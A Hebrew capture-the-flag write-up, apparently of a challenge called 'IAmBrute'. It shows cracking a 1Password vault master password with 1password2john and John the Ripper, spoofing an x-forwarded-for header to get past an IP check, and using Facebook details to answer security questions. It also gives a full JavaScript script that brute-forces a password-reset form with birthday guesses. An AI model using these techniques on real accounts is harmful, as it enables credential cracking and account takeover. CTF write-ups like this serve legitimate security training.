IAmBrute

נכתב על ידי Narcissus

IAmBrute

הורדנו וחילצנו את הקובץ Marina.vault.zip קיבלנו את התיקייה Marina.vault.opvault. היא הכילה תיקייה נוספת default שבתוכה היה band_2.js ו-profile.js.

התקייה היא בעצם כספת סיסמאות של התוכנה 1password.

בעזרת 1password2john הוצאנו האש של הכספת: 1password2john.py Marina.vault.opvault > hash, ואז בעזרת ג'ון המרטש פיצחנו את המפתח מאסטר: john hash לאחר מכן john hash --show שהדפיס ?:Marina.

התקנו 1password וטענו לתוכה את הכספת, היא ביקשה את המפתח מאסטר:

1password-master

הזנו Marina לפי הפלט של ג'ון וקיבלנו פרטי התחברות:

1password-details

ניגשנו לאתר שצוין וקיבלנו מסך התחברות. פשוט להזין את שם המשתמש והסיסמה שקיבלנו מ-1password לא עבד, קיבלנו שגיאה:

login-error

הוספנו את ההדר x-forwarded-for: 192.168.20.1 ושלחנו בקשה חדשה. הוחזרנו שוב למסך התחברות אבל הפעם הייתה עוגיה בתשובה מהשרת.

session:
httpOnly:    true
path:    /
value:    eyJ1c2VyX2lkIjoiMiJ9.Dfb96g.6DzT1iCHG3k7kQUTdY5VUDlrG9w

שמרנו את העוגיה וניגשנו לעמוד אינדקס. הועברנו לעמוד פניות:

marina-tickets

בפניות מצאנו את עמודי הפייסבוק של מרינה וג'ורג' (ראש מחלקת IT):

מרינה

ג'ורג'

אולי זה יעזור לנו בהמשך. בינתיים אנחנו צריכים למצוא איך להתחבר למשתמש של ג'ורג'. בואו נתנתק ונראה מה היה בעמוד Forgot My Password שראינו קודם:

forgot-my-password

יש לנו את שם המשתמש שלו: george. צריך להוסיף לזה את תאריך הלידה ותשובה לאחת משלוש שאלות אבטחה. אולי עכשיו פייסבוק יהיה שימושי.

באזור אודות מצאנו שהוא נולד ב-1991 ושהעמוד היחיד שהוא עשה לו לייק זה העמוד FRIENDS (TV Show). נעשה ברוטפורס לחודש ויום של תאריך הלידה שלו.

class FileDownloader{
    constructor(url, pool_size) {
        this.url = url;
        this.pool_size = pool_size;
    }

    createQueue(){
        const arr = [];
        for (let i=1;i<32;i++)
            for (let j=1;j<13;j++)
                arr.push(i.toString().padStart(2, "0")+"/"+j.toString().padStart(2, "0")+"/1991");
        return Promise.resolve(arr);
    }

    send_request(elem){
       return fetch(this.url, { 
        method: "POST",
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: "__CSRFToken__="+document.querySelector("[name=csrf_token]").getAttribute("content")+"&birthday="+elem+"&do=sendmail&question_answer=Friends&question_id=2&username=george"
        }).then(res => res.text())  
    }

    next(){
        const index = this.queue.shift();
        if (index == undefined)
            return {index:-1};
        return index;
    }

    download_part(elem, count = 3){
        if (count == 0){
            console.error("Couldn't download part "+elem.index);
        }
        if (elem.index == -1)
            return;
        this.send_request(elem)
        .then(response => {
            if (response.includes("Incorrect answer!")){
                console.log("failed");
            } else {
                console.log("Password: "+elem);
            }
            this.download_part(this.next());
            this.remaining--;
        }).catch(err => {
            this.download_part(elem, count-1);
        });
    }

    async start(){
        this.queue = await this.createQueue()
        this.remaining = this.queue.length;
        this.parts = Array(this.queue.length);
        this.stop = false;
        for (let i=0; i< Math.min(this.queue.length,this.pool_size); i++){
            this.download_part(this.next());
        }    
    }
}

new FileDownloader("/pwreset.php", 1000).start()

קרדיט לקוד מגיע ל-naweiss.

george-password

מעולה, עכשיו אפשר להתחבר עם אותו טריק כמו בפעם הקודמת:

george-tickets

ועכשיו לראות את תוכנן הפנייה:

flag

Success